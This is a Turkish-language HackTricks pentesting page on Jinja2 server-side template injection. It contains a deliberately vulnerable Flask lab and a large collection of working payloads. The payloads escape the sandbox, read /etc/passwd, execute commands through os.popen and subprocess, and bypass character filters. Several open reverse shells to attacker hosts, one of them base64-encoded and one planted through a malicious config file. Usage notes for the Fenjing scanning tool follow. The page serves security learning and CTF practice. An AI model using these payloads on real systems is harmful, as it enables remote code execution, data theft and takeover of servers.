Jinja2 SSTI

Tip

AWS Hacking öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE) Değerlendirme yolları (ARTA/GRTA/AzRTA) ve Linux Hacking Expert (LHE) için tam HackTricks Training kataloğuna göz atın.

HackTricks'i Destekleyin

Lab

from flask import Flask, request, render_template_string

app = Flask(__name__)

@app.route("/")
def home():
if request.args.get('c'):
return render_template_string(request.args.get('c'))
else:
return "Hello, send someting inside the param 'c'!"

if __name__ == "__main__":
app.run()

Çeşitli

Debug İfadesi

Debug Uzantısı etkinleştirilmişse, mevcut bağlamı ile kullanılabilir filtreler ve testleri dökmek için debug etiketi kullanılabilir. Bu, bir hata ayıklayıcı kurmadan şablonda kullanılabilecekleri görmeyi sağlar.

<pre>

{% raw %}
{% debug %}
{% endraw %}








</pre>

Source: https://jinja.palletsprojects.com/en/2.11.x/templates/#debug-statement

Tüm konfigürasyon değişkenlerini dök

{{ config }} #In these object you can find all the configured env variables


{% raw %}
{% for key, value in config.items() %}
<dt>{{ key|e }}</dt>
<dd>{{ value|e }}</dd>
{% endfor %}
{% endraw %}






Jinja Injection

Her şeyden önce, bir Jinja injection’da sandbox’tan kaçmanın bir yolunu bulmanız ve normal python yürütme akışına erişimi yeniden kazanmanız gerekir. Bunu yapmak için, non-sanboxed environment’tan gelen fakat sandbox içinden erişilebilir olan nesneleri kötüye kullanmanız gerekir.

Global Nesnelere Erişim

Örneğin, render_template("hello.html", username=username, email=email) kodunda username ve email nesneleri non-sanboxed python env’den gelir ve sandboxed env içinde erişilebilir olacaktır.
Ayrıca, sandboxed env’den her zaman erişilebilir olacak başka nesneler de vardır, bunlar:

[]
''
()
dict
config
request

<class ‘object’> Kurtarma

Sonra, bu nesnelerden <class 'object'> sınıfına ulaşmamız gerekiyor; tanımlı sınıfları kurtarmayı denemek için. Bunun nedeni, bu nesneden __subclasses__ metodunu çağırıp sandbox dışı Python ortamındaki tüm sınıflara erişebilmemizdir.

Bu object sınıfına erişmek için, bir sınıf nesnesine erişip ardından ya __base__, ya __mro__()[-1] ya da .mro()[-1]’e erişmeniz gerekir. Ve sonra, bu object sınıfına ulaştıktan sonra __subclasses__()’ı çağırırız.

Bu örneklere bakın:

# To access a class object
[].__class__
''.__class__
()["__class__"] # You can also access attributes like this
request["__class__"]
config.__class__
dict #It's already a class

# From a class to access the class "object".
## "dict" used as example from the previous list:
dict.__base__
dict["__base__"]
dict.mro()[-1]
dict.__mro__[-1]
(dict|attr("__mro__"))[-1]
(dict|attr("\x5f\x5fmro\x5f\x5f"))[-1]

# From the "object" class call __subclasses__()
{{ dict.__base__.__subclasses__() }}
{{ dict.mro()[-1].__subclasses__() }}
{{ (dict.mro()[-1]|attr("\x5f\x5fsubclasses\x5f\x5f"))() }}

{% raw %}
{% with a = dict.mro()[-1].__subclasses__() %} {{ a }} {% endwith %}

# Other examples using these ways
{{ ().__class__.__base__.__subclasses__() }}
{{ [].__class__.__mro__[-1].__subclasses__() }}
{{ ((""|attr("__class__")|attr("__mro__"))[-1]|attr("__subclasses__"))() }}
{{ request.__class__.mro()[-1].__subclasses__() }}
{% with a = config.__class__.mro()[-1].__subclasses__() %} {{ a }} {% endwith %}
{% endraw %}






# Not sure if this will work, but I saw it somewhere
{{ [].class.base.subclasses() }}
{{ ''.class.mro()[1].subclasses() }}

RCE Escaping

Elde ettikten sonra <class 'object'>’i alıp __subclasses__’ı çağırdıktan sonra, bu sınıfları dosya okumak/yazmak ve kod yürütmek için kullanabiliriz.

__subclasses__ çağrısı bize yüzlerce yeni fonksiyona erişim imkanı verdi; sadece dosya sınıfına erişip dosya okuma/yazma ile ya da komut çalıştırmaya izin veren herhangi bir sınıfa (ör. os) erişerek memnun oluruz.

Uzak dosya okuma/yazma

# ''.__class__.__mro__[1].__subclasses__()[40] = File class
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read() }}
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/var/www/html/myflaskapp/hello.txt', 'w').write('Hello here !') }}

RCE

# The class 396 is the class <class 'subprocess.Popen'>
{{''.__class__.mro()[1].__subclasses__()[396]('cat flag.txt',shell=True,stdout=-1).communicate()[0].strip()}}

# Without '{{' and '}}'

<div data-gb-custom-block data-tag="if" data-0='application' data-1='][' data-2='][' data-3='__globals__' data-4='][' data-5='__builtins__' data-6='__import__' data-7='](' data-8='os' data-9='popen' data-10='](' data-11='id' data-12='read' data-13=']() == ' data-14='chiv'> a </div>

# Calling os.popen without guessing the index of the class
{% raw %}
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("ls").read()}}{%endif%}{% endfor %}
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ip\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/cat\", \"flag.txt\"]);'").read().zfill(417)}}{%endif%}{% endfor %}

## Passing the cmd line in a GET param
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen(request.args.input).read()}}{%endif%}{%endfor%}
{% endraw %}


## Passing the cmd line ?cmd=id, Without " and '
{{ dict.mro()[-1].__subclasses__()[276](request.args.cmd,shell=True,stdout=-1).communicate()[0].strip() }}

Payloads ile {% ... %}

Bazen {{ ... }} engellenir, temizlenir ya da enjeksiyon statement-dostu bir bağlama düşer. Bu durumlarda yine Jinja statement etiketleri olan {% with %}, {% if %}, {% for %}, {% set %} ve daha yeni sürümlerde {% print %}’i kullanarak kod çalıştırabilir, block gövdesi aracılığıyla data leak edebilir veya blind yan etkilere neden olabilirsiniz.

{% raw %}
# Simple statement-tag primitives
{% print(1) %}
{% if 7*7 == 49 %}OK{% endif %}
{% if 7*7 == 50 %}BAD{% else %}ELSE{% endif %}
{% set x = 7*7 %}{{ x }}
{% for i in range(3) %}{{ i }}{% endfor %}
{% with a = ''.__class__ %}{{ a }}{% endwith %}
{% print(''.__class__.__mro__[1]) %}
{% with x = ''.__class__.__mro__[1].__subclasses__()|length %}{{ x }}{% endwith %}

# Flask-like contexts: use already reachable globals/functions
{% with a = config.__class__.from_envvar.__globals__.__builtins__.__import__("os").popen("id").read() %}{{ a }}{% endwith %}
{% if config.__class__.from_envvar.__globals__.__builtins__.__import__("os").popen("id").read().startswith("uid=") %}yes{% endif %}

# Bare Jinja2 Template(...) contexts may not have `config` or `request`,
# but built-in globals such as `lipsum`, `cycler`, `joiner`, and `namespace`
# are often still available.
{% print(lipsum) %}
{% print(cycler) %}
{% print(joiner) %}
{% print(namespace) %}
{% if 'os' in lipsum.__globals__ %}OS_OK{% endif %}
{% if cycler.__init__.__globals__ %}G_OK{% endif %}

# RCE using default Jinja globals
{% print(lipsum.__globals__['os'].popen('id').read()) %}
{% with x = lipsum.__globals__['os'].popen('id').read() %}{{ x }}{% endwith %}
{% print(cycler.__init__.__globals__['os'].popen('id').read()) %}
{% print(joiner.__init__.__globals__['os'].popen('id').read()) %}
{% print(namespace.__init__.__globals__['os'].popen('id').read()) %}

# Blind / boolean primitive
{% if 'uid=' in lipsum.__globals__['os'].popen('id').read() %}
YES
{% endif %}
{% endraw %}

Eğer hedef bazı karakterleri filtreliyorsa ancak statement tag’larına hâlâ izin veriyorsa, bu fikri filter bypasses ve no-{{ / no-. / no-_ example ile birleştirin. Ayrıca {% print %} zorunlu değildir: hedefte mevcut değilse, {% with %}, {% if %}, {% set %} ve {% for %} genellikle şablonu sömürmeye devam etmek için yeterlidir.

To learn about more classes that you can use to escape you can check:

Bypass Python sandboxes

Filtre bypasses

Yaygın bypasses

Bu bypass’lar bize erişmemize, nesnelerin özelliklerine bazı karakterleri kullanmadan olanak tanır.
Önceki örneklerde bu bypass’ların bazılarını zaten gördük, ama burada özetleyelim:

# Without quotes, _, [, ]
## Basic ones
request.__class__
request["__class__"]
request['\x5f\x5fclass\x5f\x5f']
request|attr("__class__")
request|attr(["_"*2, "class", "_"*2]|join) # Join trick

## Using request object options
request|attr(request.headers.c) #Send a header like "c: __class__" (any trick using get params can be used with headers also)
request|attr(request.args.c) #Send a param like "?c=__class__
request|attr(request.query_string[2:16].decode() #Send a param like "?c=__class__
request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join) # Join list to string
http://localhost:5000/?c={{request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a))}}&f=%s%sclass%s%s&a=_ #Formatting the string from get params

## Lists without "[" and "]"
http://localhost:5000/?c={{request|attr(request.args.getlist(request.args.l)|join)}}&l=a&a=_&a=_&a=class&a=_&a=_

# Using with

{% raw %}
{% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("echo -n YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40LzkwMDEgMD4mMQ== | base64 -d | bash")["read"]() %} a {% endwith %}
{% endraw %}






HTML kodlamasından kaçınma

Varsayılan olarak Flask, güvenlik nedeniyle bir şablonun içindeki tüm içeriği HTML olarak kodlar:

{{'<script>alert(1);</script>'}}
#will be
&lt;script&gt;alert(1);&lt;/script&gt;

The safe filtresi, JavaScript ve HTML’i sayfaya HTML olarak kodlanmadan enjekte etmemize izin verir, şöyle:

{{'<script>alert(1);</script>'|safe}}
#will be
<script>alert(1);</script>

RCE kötü amaçlı config file yazarak.

# evil config
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/tmp/evilconfig.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }}

# load the evil config
{{ config.from_pyfile('/tmp/evilconfig.cfg') }}

# connect to evil host
{{ config['RUNCMD']('/bin/bash -c "/bin/bash -i >& /dev/tcp/x.x.x.x/8000 0>&1"',shell=True) }}

Birkaç karakter olmadan

Aşağıdaki karakterler olmadan {{ . [ ] }} _

{% raw %}
{%with a=request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('ls${IFS}-l')|attr('read')()%}{%print(a)%}{%endwith%}
{% endraw %}






Jinja Injection <class ‘object’> olmadan

global objects üzerinden, o sınıfı kullanmadan RCE’ye ulaşmanın başka bir yolu var.
Eğer bu global nesnelerden herhangi bir function’a erişmeyi başarırsanız, __globals__.__builtins__’e erişebilecek ve buradan RCE çok basit.

Erişiminiz olan request, config ve herhangi bir diğer ilginç global object’tan function bulmak için:

{{ request.__class__.__dict__ }}
- application
- _load_form_data
- on_json_loading_failed

{{ config.__class__.__dict__ }}
- __init__
- from_envvar
- from_pyfile
- from_object
- from_file
- from_json
- from_mapping
- get_namespace
- __repr__

# You can iterate through children objects to find more

Bazı fonksiyonları bulduktan sonra builtins’i şu şekilde geri alabilirsiniz:

# Read file
{{ request.__class__._load_form_data.__globals__.__builtins__.open("/etc/passwd").read() }}

# RCE
{{ config.__class__.from_envvar.__globals__.__builtins__.__import__("os").popen("ls").read() }}
{{ config.__class__.from_envvar["__globals__"]["__builtins__"]["__import__"]("os").popen("ls").read() }}
{{ (config|attr("__class__")).from_envvar["__globals__"]["__builtins__"]["__import__"]("os").popen("ls").read() }}

{% raw %}
{% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("ls")["read"]() %} {{ a }} {% endwith %}
{% endraw %}


## Extra
## The global from config have a access to a function called import_string
## with this function you don't need to access the builtins
{{ config.__class__.from_envvar.__globals__.import_string("os").popen("ls").read() }}

# All the bypasses seen in the previous sections are also valid

Fuzzing WAF bypass

Fenjing https://github.com/Marven11/Fenjing CTF’lere yönelik uzmanlaşmış bir araçtır, ancak gerçek bir senaryoda geçersiz parametreleri bruteforce ile denemek için de faydalı olabilir. Araç filtreleri tespit etmek için kelimeler ve sorgular gönderir, bypass’ları arar ve ayrıca etkileşimli bir konsol sağlar.

İngilizce-Çince Google çevirisi

webui:
As the name suggests, web UI
Default port 11451

scan: scan the entire website
Extract all forms from the website based on the form element and attack them
After the scan is successful, a simulated terminal will be provided or the given command will be executed.
Example:python -m fenjing scan --url 'http://xxx/'

crack: Attack a specific form
You need to specify the form's url, action (GET or POST) and all fields (such as 'name')
After a successful attack, a simulated terminal will also be provided or a given command will be executed.
Example:python -m fenjing crack --url 'http://xxx/' --method GET --inputs name

crack-path: attack a specific path
Attack http://xxx.xxx/hello/<payload>the vulnerabilities that exist in a certain path (such as
The parameters are roughly the same as crack, but you only need to provide the corresponding path
Example:python -m fenjing crack-path --url 'http://xxx/hello/'

crack-request: Read a request file for attack
Read the request in the file, PAYLOADreplace it with the actual payload and submit it
The request will be urlencoded by default according to the HTTP format, which can be --urlencode-payload 0turned off.

Referanslar

Tip

AWS Hacking öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE) Değerlendirme yolları (ARTA/GRTA/AzRTA) ve Linux Hacking Expert (LHE) için tam HackTricks Training kataloğuna göz atın.

HackTricks'i Destekleyin